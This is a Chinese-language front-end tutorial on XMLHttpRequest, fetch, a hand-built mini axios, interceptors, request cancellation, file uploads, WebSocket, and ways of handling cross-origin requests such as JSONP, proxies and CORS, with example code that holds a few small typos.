通过 XMLHttpRequest 对象的 open() 方法初始化一个 HTTP 请求

1
xhr.open(method, url, [async][, user][, password])
  • method:表示当前的请求方式,常见的有GETPOST
  • url:服务端地址
  • async:布尔值,表示是否异步执行操作,默认为true
  • user: 可选的用户名用于认证用途;默认为null
  • password: 可选的密码用于认证用途,默认为null

如果还要添加请求头,则还需调用xhr.setRequestHeader方法逐个添加请求头,最后通过XMLHttpRequest 对象的 send() 方法发送给服务器端。

1
xhr.send([body])

如果需要携带请求体,则在调用send方法时再传入请求体数据。简单的来说,就是使用XMLHttpRequest 构建一个请求报文

通过 XMLHttpRequest 对象提供的 onreadystatechange 事件(即监听(on)准备状态(readystate)改变(change))监听服务器端的通信状态。关于XMLHttpRequest.readyState属性有5个状态,用数字来区分,只要 readyState属性值一变化,就会触发一次 readystatechange 事件。

  • 0(unsent):open方法还未调用,连接还未建立。
  • 1(opened):open方法调用了,但是还未发送请求(还未调用send方法)
  • 2(headers_recieved):请求发送了,响应头响应状态已经接收到了,但是还未开始下载。
  • 3(loading):响应体下载中
  • 4(done):响应体下载完毕,请求完成。

onload 是 XMLHttpRequest 的另一个事件处理函数,它仅在请求成功完成(即 readyState === 4 且 status 为成功状态码,如 200)时触发,更简洁,适用于只关心成功响应的场景。

如果请求失败(如网络错误或服务器返回非 2xx 状态码),onload 不会被触发,而是会触发 onerrorontimeout

fetch

也能发送ajax请求,且不需要借助xhr。是浏览器内置的api,不需要额外下载,和axios一样,也是基于promise的,特点是关注分离,不能一步就拿到数据,缺点是兼容性不好,是HTML5新增的,部分老版本浏览器不支持这个api,所以fetch用的并不多,了解就好。

fetch方法的参数:第一个参数是url,第二个参数是一个配置对象,用于自定义请求的行为,常见参数如下。

属性名类型描述
method字符串请求方法,默认为 'GET'。常见的值包括 'GET''POST''PUT''DELETE' 等。
headers对象或 Headers设置请求头。例如:{ 'Content-Type': 'application/json' }
body字符串、Blob、FormData 等请求体数据,仅适用于非 GET 请求(如 POST、PUT)。
mode字符串请求模式,默认为 'cors'。常见值包括 'cors''no-cors''same-origin'
credentials字符串是否携带凭据(如 cookies)。常见值包括 'omit''same-origin''include'
1
2
3
4
5
6
7
8
//fetch返回值是一个promise对象
fetch('https://www.sanye.blog').then((res)=>{
console.log('联系服务器成功',res)
return res.json()
}).then((res2)=>{
//输出,查看数据的结构
console.log(res2)
}).catch(err=>{console.log(err)})//最后调用catch,统一处理错误,至于为什么能捕获全部错误,原理不太清楚

不能直接拿到数据,第一步先判断是否成功联系到服务器,输出res也看不到数据的踪迹,准确的来说,第一个promise中只能拿到响应行和响应头中的数据。调用res.json()则会返回第二个promise,这个promise会在拿到响应体后完成。

简化

当我们调用then方法的时候只传入成功回调的时候,借助async,await能让代码更简洁,并使用try-catch捕获错误。

1
2
3
4
5
6
7
8
//使用2次await
try{
const res = await fetch('https://www.sanye.blog')
const data = await res.json()
console.log(data)
}catch(err){
console.log(err)
}

axios

axios 是一个基于promise的网络请求库,在浏览器端借助XHR,在node.js中借助http模块

有如下特点:

  • 拦截请求和响应
  • 转换请求数据和响应数据
  • 取消请求
  • 自动转换JSON 数据
  • 客户端支持防御XSRF

实现一个简易版的axios

axios(config)

构建一个Axios类,核心代码为request方法。从上述代码中,我们可以看出axios其实就是使用promise+xhr实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Axios {
constructor() {
// 因为axios实例并没有什么常用的属性,所以这里没有任何初始化代码
}
// 核心方法request,会自动挂载到Axios.prototype上,传入配置对象,立即返回一个promise对象(状态为pending)
request(config) {
//request方法会立即返回一个promise对象
return new Promise((resolve,reject) => {
//对象解构赋值,获取到请求url,method(默认值是Get),data,并给这些属性赋予默认值
const {url = '', method = 'get', data = {}} = config; //实际请求携带的配置参数可能不止这么点
// 发送ajax请求,可以看出axios在浏览器中是基于xhr的
const xhr = new XMLHttpRequest();

//用于初始化一个 HTTP 请求。这个方法并不发送请求
//第三个参数是一个布尔值,表示是否异步执行请求,默认为true,表示异步。
xhr.open(method, url[, true]);
xhr.onload = function() {
//当请求被响应,根据响应状态码,改变promise对象的状态
console.log(xhr.responseText)
//调用resolve函数,修改Promise实例的状态为fulfilled, 修改value为xhr.response
//这一操作,就把异步回调函数内的值传递到外部了,避免依赖这个数据的代码,写在回调函数内
resolve(xhr.response);
}
xhr.onerror = function(){
reject(new error('请求失败'))
}
//发送请求并携带数据
xhr.send(data);
})
}
}

1
2
3
4
5
6
//创建一个axios实例
const context = new Axios({});
//定义一个axios函数
function axios(config) {
return context.request(config);
}

由于调用request方法会立即返回一个Promise对象,所以调用axios函数也会立即返回一个promise对象

axios.method()

下面是来实现下axios.method()这种形式的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const methodsArr = ['get', 'delete', 'head', 'options', 'put', 'patch', 'post'];
//在Axios的prototype上挂载这些方法。这种写法功能等同于直接在Axios类中一个个定义这些方法(类似request方法)
//不过这种写法更简洁。
methodsArr.forEach(method => {
Axios.prototype[method] = function() {
// 处理只可能传入2个参数的请求方法
// 2个参数(url[, config])
if (['get', 'delete', 'head', 'options'].includes(method)) {
//此处的this指向axios实例,所以能调用request方法,同时也说明这些方法本质也是在调用request方法
return this.request({
method,
url: arguments[0],
...(arguments[1] || {})//如果第二个参数没传入,arguments[1]的值就是undefined,然后展开一个空对象
})
} else { // 3个参数(url[,data[,config]])
return this.request({
method,
url: arguments[0],
data: arguments[1] || {},//arguments[1]是一个数据对象,不需要展开
...arguments[2] || {}//arguments[2]是剩余配置属性对象,需要展开
})
}
}
})
  • arguments 是一个类数组对象,它包含了传递给函数的所有参数;arguments 对象允许你在不知道具体有多少个参数的情况下,访问所有传递给函数的参数,即便函数没有声明形参

  • get,post这些方法与request方法一样,都挂载到Axios.prototype

  • 这些方法本质是在调用Axios.prototype.request方法,并返回request方法的返回值,就如同axios函数一样

  • 无论是调用axios(),还是axios.get(),都会立即返回一个promise对象,因为它们本质都是在调用request方法然后立即返回值。

我们还期望axios函数能直接调用get,post这些方法,而不只是axios实例,所以我们还需要做其他处理

1
2
3
4
5
6
7
8
9
10
11
const context = new Axios({});
function axios(config) {
return context.request(config);
}

// 把 Axios 原型上的方法挂载到 axios 函数对象上(或者axios函数的原型上),这些方法包括request方法
Object.keys(Axios.prototype).forEach(key => {
if (key !== 'constructor') {
axios[key] = Axios.prototype[key];
}
});

把 Axios 原型上的方法,挂载到 axios 函数上(或者axios函数的原型对象上),这些方法包括request方法。在上述配置之后,就能使用axios函数调用get,post等方法了。

常见用法

axios.create

调用axios.create传入一个配置对象,它的返回值具有与axios函数一样的功能,具体来说axios.create的返回值也是一个函数,而不是一个axios实例,可以像axios函数那样直接调用,也可以调用get,post等方法。

1
2
3
4
5
6
7
8
9
10
//request.js
import axios from 'axios'
const request = axios.create({
baseURL: 'https://smart-shop.itheima.net/index.php?s=/api',
timeout: 10000,
headers: {
'platform': 'H5',
}
})
console.log(typeof request)//function

这样就相当于为每个请求都配置了相同的基地址超时时间请求头,起到了封装的作用

添加拦截器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
instance.interceptors.request.use(function (config) {
// 在发送请求之前做些什么
// 只要有token,就在请求时携带,便于请求需要授权的接口
// 每次请求都会获取token,也就是说token每次都是现用现取的,如果删除了就取不到了
const token = store.getters.token
if (token) {
config.headers['Access-Token'] = token
}
return config
}, function (error) {
// 对请求错误做些什么
return Promise.reject(error)
})

// 添加响应拦截器
instance.interceptors.response.use(function (response) {
// 2xx 范围内的状态码(response.status)都会触发该函数。
// 对响应数据做点什么
return response.data //默认会被包装成resolved类型的promise对象
}, function (error) {
// 超出 2xx 范围的状态码都会触发该函数。
// 对响应错误做点什么
return Promise.reject(error) //如果直接返回error,也会被包装成resolved类型的promise对象
})

前面我们介绍过,无论是调用axios(),还是axios.get(),都会立即返回一个promise对象,因为它们本质都是在调用request方法。这个立即返回的promise对象的值和状态,由响应拦截器的返回值决定

  • 响应拦截器中有2个回调函数,响应成功的回调和失败的回调,同时只能调用一个
  • 如果最终返回的是一个普通的数据(非Promise对象),无论是哪个回调函数返回的,则这个立即返回的promise对象的值,就是这个返回的普通数据,状态变为fulfilled
  • 如果返回一个状态为rejected的promise对象,比如Promise.reject(error),无论是哪个回调函数返回的,则这个立即返回的promise对象的值,就变为error,状态变为rejected
  • 如果返回一个状态为fulfilled的promise对象,比如Promise.resolve(response.data),无论是哪个回调函数返回的,其效果其实就相当于return response.data。也就是说,最终的 Promise 将获得 response.data 作为其值,并进入 fulfilled 状态。
  • 无论是在成功的回调函数中,还是在失败的回调函数中,只要最终返回了Promise.reject(),那么 axios 请求的 Promise 的状态将变为rejected,并触发失败回调链,导致 .catch() 方法被调用;

取消请求

1
2
3
4
5
6
7
const source = axios.CancelToken.source();

axios.get('xxxx', {
cancelToken: source.token
})
// 取消请求 (请求原因是可选的)
source.cancel('主动取消请求');
  • axios.CancelToken是一个构造函数,用来获得取消令牌源对象。
  • source是一个取消令牌源对象。这个对象包含了两个重要的属性:
    • token: 这是一个实际的取消令牌。你可以将这个令牌传递给 Axios 请求配置中的 cancelToken 属性,从而使得该请求可以被取消。
    • cancel: 这是一个函数,调用它可以取消所有关联了source.token 的请求。你可以选择性地提供一个消息参数,这个消息会作为取消原因包含在取消事件中。调用source.cancel('取消原因') 时,它会将关联的 cancelToken 标记为已取消状态,并记录提供的取消原因(如 ‘取消原因’),这个操作不会直接发送网络请求,而是改变了令牌的状态

深入分析

1
2
3
4
const CancelToken = axios.CancelToken;
//获得取消请求源对象
const source = CancelToken.source();
console.log(source.token)//输出token,结构如下
1
2
3
4
const CancelToken = axios.CancelToken;
const source = CancelToken.source();
source.cancel('主动取消')
console.log(source.token)

Axios 的响应拦截器会检查每个正在处理的请求,是否关联了被标记为已取消cancelToken。如果匹配,则立即停止该请求的进一步处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 给axios实例,添加响应拦截器
instance.interceptors.response.use(function (response) {
// 2xx 范围内的状态码都会触发该函数
}, function (error) {
// 超出 2xx 范围的状态码都会触发该函数。
// 判断是否是因为取消操作导致的错误
if (axios.isCancel(error)) {
console.log('Request canceled:', error.message);
} else {
// 其他错误处理
console.log('请求失败,请稍后重试');
}
return Promise.reject(error);
})
  • 简单的来说,我们想要某个请求被取消,那么这个请求必须携带cancelToken
  • 当我们想要取消请求的时候,就调用source.cancel()方法并传入取消的原因,这个操作并不会发送新的请求,而是会修改cancelToken的状态,然后响应拦截器根据cancelToken的状态,判断不再需要处理这个请求
  • 所以说,请求取消,完全不需要后端配合,请求发送后无论如何都会被响应,取消请求只不过是抛弃了响应结果

axios实例

我们通常把同一业务功能的api放到一个js文件中,比如和购物车cart相关的接口,都放在cart.js文件中,在这些文件中引入导出的axios函数来发送请求。

1
import request from 'index.js'

发送请求有两种常用写法

request({})

这种写法是直接传入一个配置对象请求方法(method)等所有信息都包含在内,我们需要对大部分配置属性都熟悉

1
2
3
4
5
6
7
request({
url:
method:'post',
params:
data:
headers:
})

request.method()

这种写法是把请求方法提取到外面,然后传入多个参数来实现的。

第一个参数指定请求的 URL

第二个参数:

  • 如果是get/delete等请求,就是除了请求体外的配置属性,即不包括data属性的配置对象。
  • 如果是put/post请求,则是data,即请求体数据对象,所以说第二个参数到底是data还是不包括data属性的配置对象,取决于请求的方法。

第三个参数,只有put/post请求,可能需要配置第三个参数,即不包括data属性的配置对象

要注意的是,使用了这种写法:request.method(),再直接传入一个配置对象是不符合语法的,是错误的,必须按照上述的规则填写参数。

案例

1
2
3
4
5
6
7
import request from '@/utils/request'
//修改购物车商品信息(这里url是模板字符串,因为使用了path参数)
export const updateCartAPI = ({ skuId, selected, count }) => {
return request.put(`/member/cart/${skuId}`, { selected, count })//立即返回一个promise对象
}
//delete也要传入data,属于接口不符合规范
export const delCartAPI = (ids) => request({ url: '/member/cart', method: 'delete', data: { ids } })

配置对象和接口文档的对应关系

  • path:需要在url中直接配置,嵌入在url的资源路径中

    1
    /users/{userId}  --->  /users/123
  • query:在配置对象的params属性中配置,会被放到url的?之后,并且多个参数之间用与号 & 分隔

    1
    {name:"tom",age:18}  --->  /users/?name=tom&age=18
  • body:即请求体,在data属性中配置

  • header:在配置对象的headers属性中配置

配置对象和请求报文的对应关系

  • header对应请求报文中的请求头
  • data对应请求报文中的请求体
  • method请求方法,资源路径,查询参数等出现在请求行中。

文件上传怎么做

input标签

借助input标签,点击选择文件。

1
2
3
4
5
6
7
<input type="file" class="postImage">
<script>
const postImage = document.querySelector('.postImage')
postImage.addEventListener('change', function (e) {
console.log(e.target.files[0])//输出一个File对象
})
</script>

选择文件后可以通过e.target.files获取到文件对象File数组

为什么是files呢,因为如果我们给input标签添加multiply属性,是允许选择多个文件的,也就是多文件上传,不过这要求用户有一定的电脑操作基础,要知道如何选择多个文件。所以开发过程中,使用的方案其实是多次单文件上传,用一个数组存储每次循环的选择的文件对象。

File对象

常见属性

  • lastModified:文件上次被修改的时间,值是一个时间戳,在浏览器协商缓存中非常重要

  • size属性:表示文件的字节数(B),可用来限制文件的大小

  • type属性:表示文件的类型

file对象打印出来是这样的,其中包含的文件数据存储在哪儿?在浏览器环境中,File 对象中的文件数据,并不是直接存储在 JavaScript 变量中,而是存储在浏览器的内存中或临时存储区域。具体来说,当你通过 <input type="file"> 选择一个文件后,文件的内容会被读取到浏览器的内存中。JavaScript 可以通过 FileReader API 或其他方法访问这些数据。

总的来说File 对象本身并不直接包含文件数据,而是提供了一个接口,来访问文件的信息和内容

slice

如果想处理大文件,可以使用 File.slice() 方法来分片读取文件内容。从而实现文件的分片上传。

和Blob对象的关系

属于Blob类的子类,二者可以随意转换;

1
new Blob([file]); new File([blob],filename)

案例:将网络图片转换成File对象

二进制数据->Blob对象->File对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import axios from 'axios'
export const imageUrlToFile = async (url, fileName) => {
try {
// 第一步:使用axios获取网络图片数据
// 指定接收二进制数据流. Axios 的默认 responseType 是 'json'
// 如果responseType和响应体中的content-type同时存在,浏览器会按照responseType指定的类型来解析资源
const response = await axios.get(url, { responseType指定的类型来解析资源: 'arraybuffer' })

const imageData = response.data//返回的是二进制数据

// 第二步:将图片数据转换为Blob对象
const blob = new Blob([imageData], {
type: response.headers['content-type']//这个表达式的值是"image/jpeg",确保文件类型正确识别
})

// 第三步:根据创建好的Blob对象,创建一个新的File对象
// blob.type的值:'image/jpeg'
const file = new File([blob], fileName, { type: blob.type })
// 返回的是一个promise对象
return file
} catch (error) {
console.error('将图片转换为File对象时发生错误:', error)
throw error
}
}
responseType含义
'json' (默认)自动将响应内容解析为 JSON 对象
'text'将响应作为字符串返回(UTF-8)
'arraybuffer'返回原始的二进制数据(ArrayBuffer),适合处理图片、PDF、音频、视频等
'blob'返回 Blob 对象,适合下载文件、创建对象 URL
'document'返回 HTML/XML 文档对象(主要用于 AJAX 加载网页)

简单来说,将网络图片转换成file对象,先要把这个图片下载下来,获得这个图片的二进制数据,然后再逐步转换成File对象。

输出的response格式如下:

FileReader

故名思义,可以转换文件对象,比如可以把文件对象异步转换成data URL 格式

设你有一张 PNG 格式的图片,通过 data URLBase64 编码的方式内联到 HTML 文件中,它可能看起来像这样:

1
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA..." alt="Embedded Image">

data URL是一种特殊的URL,普通的URL用来定位文件,而data URL本身就能用来表示一个文件

Base64 是一种将二进制数据编码为 ASCII 字符串的编码技术

data:image/png表示数据的MIME类型base64表示数据是否经过了 Base64 编码,如果数据未进行 Base64 编码,则应省略此部分。

这里的 "iVBORw0KGgoAAAANSUhEUgAAAAUA..." 就是该图片数据经过 Base64 编码后的样子

1
2
3
4
5
6
7
8
9
10
11
12
//on-change事件,图片选择后触发该回调函数
const onUploadFile = (uploadFile) => {
//创建一个reader对象
const reader = new FileReader()
//uploadFile.raw的值是图片的文件对象File
reader.readAsDataURL(uploadFile.raw)
//把file对象转化成base64格式是*异步*的,监听reader的onload事件;需要在回调函数中拿到结果result
reader.onload = () => {
//把图片从File对象转换成base64格式的图片,可以用来展示和提交
imageUrl.value = reader.result
}
}

简要步骤如下:

  • 使用new FileReader()创建一个reader对象
  • 调用reader的 readAsDataURL,传入一个File对象,
  • 监听reader的onload事件,这个事件触发后,就代表转换完成,从reader.result中就能拿到base64字符串

Blob对象也可以使用FileReader的语法

URL.createObjectURL

  • URL.createObjectURL(file/blob)会生成一个指向 Blob 或 File 对象的临时 URL。这个 URL 可以被用作 <img>、<video>、<audio>、<a> 等 HTML 元素的 src 或 href 属性,用来展示

  • 允许在不暴露文件的实际路径(网络图片)或内容(比如base64格式的图片就会暴露内容)的前提下,显示文件,增加了安全性

  • 对象 URL 是临时的,浏览器会自动在页面卸载(比如页面更新)时释放这些 URL。举个例子,用户在当前页面拿到我的某个资源的临时URL后,他确实可以使用这个URL下载我的资源,但是一旦关闭或者刷新页面,这个URL就无效了。

  • 但是,为了确保最佳性能和避免内存泄漏,应该在不再需要时,显式调用 URL.revokeObjectURL

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>
<label for="postImage">更换图片</label>
<input type="file" class="postImage" id="postImage">
<div><img src="" alt=""></div>
</body>
<script>
const postImage = document.querySelector('.postImage')
const img = document.querySelector('img')
postImage.addEventListener('change', function (e) {
const url = URL.createObjectURL(e.target.files[0])
img.src= url
}
</script>
1
blob:http://<origin>/<unique-identifier>
  • blob: 指定了这是一个 Blob URL scheme(格式)。
  • http://<origin>,当前页面的,例如 http://example.com。对于直接打开的页面,就是null
  • <unique-identifier> 是一个唯一标识符,用来区分不同的 Blob 对象。这个标识符是由浏览器自动生成的,保证在同一页面中每个通过 createObjectURL 创建的 URL 都是独一无二的。

FormData

FormData出现的背景是什么?当我们做文件上传时,由于要上传二进制数据,同时可能还需要上传其他表单字段,如果我们手动构造请求报文中的请求体,是比较麻烦的,所以官方就推出了FormData,方便我们构造请求体数据不用手动编写请求报文中的请求体

1
2
3
4
5
6
7
8
9
10
11
// FormData的构造函数不接受普通对象(Object)作为参数
const fd = new FormData()
// 添加键值对
fd.append('img', e.target.files[0]) //自动帮我们处理二进制数据
axios({
url: "http://localhost:8080/upload",
method: 'post',
data: fd//直接当作请求体对象
}).then(result => {
console.log(result)
})
  • FormData 对象允许你构造一组键/值对,这组键/值对可以被轻松地序列化为 application/x-www-form-urlencodedmultipart/form-data 格式,即符合请求体要求的格式

  • 使用 append() 方法可以向 FormData 对象中添加字段或文件,append方法还接收第三个参数,当你上传一个文件时,可以通过这个参数为上传的文件指定一个名称,如果没有提供这个参数,浏览器通常会使用 File 对象本身的 name 属性值作为文件名。

  • FormData 包含File时,axios 会自动设置请求头 Content-Typemultipart/form-data,这是文件上传的标准格式。

    即便是一个和FormData对象内容完全一致的不同对象也做不到这点。

图像展示方法

  • 拿到本地图片file对象,转换成base64格式的图片(由图片文件数据编码而来的一个字符串)
  • 拿到本地图片file对象,生成一个临时url(只能用来展示)
  • 网络图片链接,会自动发送一个请求获取图片

文件可上传格式

  • file/blob(二进制)
  • base64(即可展示又可上传,无敌了)

说说你对websocket的理解

在传统网页中,只有用户和页面交互后,才会发送请求获取数据,有什么办法可以不用用户操作,就接收到服务端的数据呢?

定时轮询

设置定时器,每个几秒就向服务器发送请求获取数据,比如微信扫码登录,切换到扫码登录页面后,就会不断向服务器询问二维码的状态。这样的缺点就是会产生大量的请求,而且用户扫码后,也会有一定的延时才成功登录。所以有没有更好的办法呢?

长轮询

长轮询本质也还是轮询,只不过将http请求的超时时间设置的很大,轮询的间隔很大,比如20s,30秒,如果在这段时间内用户扫码了,则立即返回响应到客户端,如果在这段时间内用户未扫码,则立马发起下一次长轮询。百度云盘就是这么做的。

上述这2种方案本质还是客户端主动请求,服务端被动推送,不是真正的服务端主动推送,接下来就不得不介绍websocket了。

是什么

WebSocket,是一种网络传输协议,位于OSI模型的应用层。可在单个TCP连接上进行全双工通信,能更好的节省服务器资源和带宽,并达到实时通迅

协议名

WebSocket的协议名wswss分别代表明文和密文的websocket协议,且默认端口使用80或443,几乎与http一致

1
2
3
ws://www.chrono.com
ws://www.chrono.com:8080/srv
wss://www.chrono.com:445/im?user_id=xxx

建立连接

在客户端,尝试建立ws连接需要执行如下代码:

1
const ws = new WebSocket("ws://localhost:8080")//传入url,与指定的服务器建立连接

当客户端浏览器想要建立一个ws连接,会自动发起一个 HTTP 请求,但这个请求的目的是协商升级协议,请求头中包含

  • Connection:Upgrade
  • Upgrade: websocket

字段

1
2
3
4
5
6
7
GET / HTTP/1.1
Host: localhost:8080
Connection: Upgrade (注释:表示希望升级连接)
Upgrade: websocket (注释:明确要升级为 WebSocket 协议)
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== (注释:客户端生成的随机密钥,用于安全验证)
Sec-WebSocket-Version: 13 (注释:表示协议版本,通常是 13)
Origin: http://localhost:3000

如果服务器支持 WebSocket,它会返回一个特殊的 101 响应,表示“正在切换协议”

1
2
3
4
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

一旦协议升级成功,后续通信不再使用 HTTP,使用 WebSocket 进行全双工通信

也就是说建立ws连接前,需要进行http握手,为什么呢?WebSocket 使用 ws://wss://,但端口通常是 80 或 443(与 HTTP/HTTPS 相同)

心跳机制

为了保持WebSoket稳定的长连接,在建立连接之后,服务端和客户端之间通过心跳包,来保持连接状态,以防止连接因为长时间没有数据传输而被切断。心跳包是一种特殊的数据包,它不包含任何实际数据,只是用来维持连接状态的,如果长时间没有收到对方的心跳包,就可以认为连接已经断开,需要重新建立连接。

具体实现思路见项目

限制

不支持IE10以前的版本,兼容性较差,可以使用ajax技术来替代。如果连接过多,会消耗较多的服务器资源,需要服务器不断的管理连接的状态。

与HTTP的区别与联系

和http协议一样,都是一种网络传输协议,都工作在应用层,收发数据都基于tcp连接

http中,只能客户端主动发送请求,服务端被动响应,服务端始终不会主动推送数据,而在ws中,服务器可以主动给客户端推送数据。

简单的来说,http协议是半双工的,ws协议是全双工的。

创建ws连接后,后续通信可省略状态信息,因为基于持久连接,服务器可以维护会话状态,不同于HTTP每次请求需要携带身份验证。

你是如何解决跨域的呢?

是什么

跨域本质是浏览器基于同源策略的一种安全手段,它是浏览器最核心也最基本的安全功能,服务器间通信不会有跨域的问题。

所谓同源(即指在同一个域)具有以下三个相同点:协议相同,域名相同,端口相同,反之非同源请求,也就是协议、域名、端口其中一项不相同的时候,这时候就会产生跨域,即非同源产生跨域

举个例子,我们直接打开 HTML 文件使用的是file:///协议加载,如果文档内部请求了其他网络资源,因为HTTP 请求使用的是 http://https:// 协议,协议不同,就发生了跨域。

跨域场景

跨域可能出现在三种场景:

  • 网络通信:a元素的跳转;加载css、js、图片等;AJAX等等
  • JS API:window.open、window.parent、iframe.contentwindow等等
  • 存储:WebStorage、IndexedDB等等

浏览器出于多方面的考量,制定了非常繁杂的规则来限制各种跨域请求,但总体的原则非常简单:

  • 对标签发出的跨域请求轻微限制
  • 对AJAX发出的跨域请求严厉限制

如何解决

JSONP

利用了script标签可以跨域加载脚本

实现思路

  • 动态创建一个script标签,并指定一个url,这个url通常包含一个查询参数,指定一个前端全局函数函数名,然后就会发送一个get请求

  • 服务端接收到请求后,返回包含函数调用的js代码,其中传入函数的实参,就是本次请求需要获取的数据

  • 请求结束后(即script的load事件触发后),移除创建的script标签

由此可见,通过JSONP实现跨域也需要前后端配合实现

jsonp请求有个明显的缺点:只能发送get请求

1
2
3
4
5
6
7
8
9
10
11
 function onClick(){
const script = document.createElement('script')
script.src = "http://127.0.0.1:8081/api/callback?callback=hello"
//给script标签对象添加监听事件
document.body.appendChild(script)
//比addEventListener写法简单
//原始事件监听模型
script.onload = () =>{
script.remove()//调用remove方法删除这个标签
}//脚本加载后立马删除,监听*onload*事件
}
1
<button onclick="onClick()">+</button>

大部分标签都可以跨域加载资源。

img标签可以跨域加载图像资源,audio和video标签可以跨域加载视频,音频

link标签可以跨域加载CSS文件,iframe标签可以跨域加载HTML页面,script标签可以跨域加载脚本

crossorigin属性

虽然上述三大标签默认可以跨域加载资源,但是如果添加了crossorigin属性,情况就不同了,此时加载资源同样受同源策略限制,请求这这些资源的时候,会携带Origin头,并且要求响应头中包含Access-Control-Allow-Origin字段。

尽管 <script> 默认允许跨域加载,但 添加crossorigin 属性的核心意义在于:前端可以获取跨域脚本的详细错误日志(开发阶段尤其关键)。

而且加载esm必须启用 CORS,所以说vue3项目打包后,引入js文件的方式如下:

1
<script type="module" crossorigin src="/assets/index-RPTkaswq.js"></script>

默认添加了crossorigin头。

Proxy

代理(Proxy)也称网络代理,是一种特殊的网络服务,允许客户端,通过代理服务器与另一个服务器进行非直接的连接。代理的方式也可以有多种:

在脚手架中配置

在开发过程中,我们可以在脚手架中配置代理。我们可以通过webpack(或者vite)为我们开起一个本地服务器(devServer,域名一般是localhost:8080),作为请求的代理服务器,所以说,这个本地服务器不仅能部署我们开发打包的资源,还能起到代理作用。

通过该服务器转发请求至目标服务器,本地代理服务器得到结果再转发给前端,因为服务器之间通信不存在跨域问题,所以能解决跨域问题。

1
2
3
4
5
6
7
8
9
10
11
proxy: {
// 将 /api 开头的请求代理到 http://localhost:8080
'/api': {
target: 'http://localhost:8080', // 后端服务地址
changeOrigin: true, // 后续代理服务器发送的请求的host会被修改为target
rewrite: (path) => path.replace(/^\/api/, '') // 可选:去掉 /api 前缀
}
}
// 核心的三个属性target,changeOrigin,rewrite
// 实际请求:http://localhost:3000/api/users
// 被代理到:http://localhost:8080/users(因为 rewrite 去掉了 /api)

打包之后的项目文件,因为脱离了代理服务器,所以说这种方式只能在开发环境使用。

可以看到,我们要使用代理,在编写接口时,就不能书写完整的路径,比如就不能直接把请求url写成https://www.sanye.blog/books,这样必然跨域。我们应该把请求写为/books,部署到本地服务器后加载网页,发起这个请求前,会先自动与域名拼接,实际的请求就变为http://localhost:8080/books,这样就没跨域

不过确实,这么操作的话,就是在请求本地服务器中的books资源,而不是目标服务器中的,如果我们本地服务器中有这个资源(vue-cli中是public目录下有books文件,无后缀),那么本地服务器就会把这个资源返回给浏览器,无论我们是否开启了代理

所以我们实际还要添加/api类似的多余的前缀,来控制我们访问的是本地服务器资源,还是其他服务器上的资源。如果我们请求的的资源在本地服务器不存在,本地服务器会帮我们按照配置的规则进行路径重写,得到正确的请求URL,再向目标服务器请求资源。

在服务端开启代理

其实也不是打包后,就不能通过代理来解决跨域问题,如果我们把打包后的前端资源部署到本地的服务器,比如使用基于node.jsexpress框架搭建的本地服务器,我们也可以通过配置代理来解决跨域问题。

1
2
3
4
5
6
7
8
9
10
11
12
const express = require( 'express ')
const app = express()
//其实webpack-dev-server开启代理功能的核心也是这个中间件
const { createProxyMiddleware } = require( 'http-proxy-middleware ');
app.use(express.static( . /public))//引入静态资源
app.use( '/api' ,createProxyMiddleware({
target: ' https:// www.toutiao.com',
changeOrigin:true,
pathRewrite:{
'^/api ' : ''
}
}))

总之想要配置代理,就离不开一台允许你配置代理的服务器,把打包后的前端资源托管到其他平台,我们也无法来配置代理,也就无法解决跨域问题。

CORS

CORS (Cross-Origin Resource Sharing),即跨域资源共享,意思就是虽然你在跨域请求我的资源,但是我还是选择性的共享资源给你。

即便请求跨域了,但是请求还是会被发送,服务器也会返回响应,浏览器也能接收到响应,但是浏览器会根据响应头中的特定字段,来决定是否拦截跨域请求返回的数据

因为需要在响应头上做文章,所以这个工作需要前后端协调。在配置CORS之前,先要理解简单请求和预检请求,因为请求的类型不同,配置CORS的方式也不同

只有简单请求和预检请求之分,没有简单请求和复杂请求之分

简单请求

  • 请求方法只能是get,post,head三者之一
  • 请求头中Content-Type 的值仅限于以下三种之一: application/x-www-form-urlencodedmultipart/form-data text/plain
  • 未自定义其他请求头

预检请求

不满足简单请求要求的就是预检请求

非跨域情况下,区分二者并没有什么意义,但是在跨域情况下,发送简单请求:

  • 前端请求头中会携带Origin字段,指定当前请求所在页面的源
  • 后端返回的响应头中必须包含Access-Control-Allow-Orgin字段,允许指定的源跨域访问

发送预检请求前,会先发送一次Options请求

  • 在请求头中携带OriginAccess-Control-Request-MethodAccess-Control-Request-Headers字段
  • 询问服务器是否接受来自xxx源,请求方法为xxx,请求头为xxx的跨域预检请求,要注意的是Access-Control-Request-Headers只包含自定义的请求头

如果接受,才发送这样的预检请求,后续逻辑就和发送简单请求一样。

服务端处理代码(以express框架为例)

1
2
3
4
5
6
7
app.options( '/students ',( req,res)=>{
res.setHeader('Access-Control-Allow-Origin' , 'http://127.0.0.1:5500')
res.setHeader('Access-Control-Allow-Methods ' , 'GET')
res.setHeader('Access-Control-Allow-Headers ' , 'school'
res.setHeader('Access-Control-Max-Age ' , 7200)//告诉浏览器在7200s内不要再发送预检请求询问
res.send()
})

这样处理起来明显比较繁琐,实际上我们借助CORS中间件就能统一处理简单请求和复杂请求(包括预检请求)的跨域问题。

跨域之cookie

一般情况下,跨域请求并不会携带cookie,这样一来某些需要权限的操作就无法进行,不过可以通过简单的配置,让跨域请求也能携带cookie

1
2
3
4
// 原生XHR
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data', true);
xhr.withCredentials = true; // 启用凭据
1
2
// Fetch API
fetch(url, { credentials: 'include' });
1
2
3
// Axios
//这个配置项说明,withCredentials不是请求头,而是和headers同一级别的属性
axios.get(url, { withCredentials: true });

执行上述配置之后,此次跨域请求会携带凭证,但响应头中必须同时满足

1
2
Access-Control-Allow-Origin: https://your-domain.com  明确指定域名,禁止使用 *
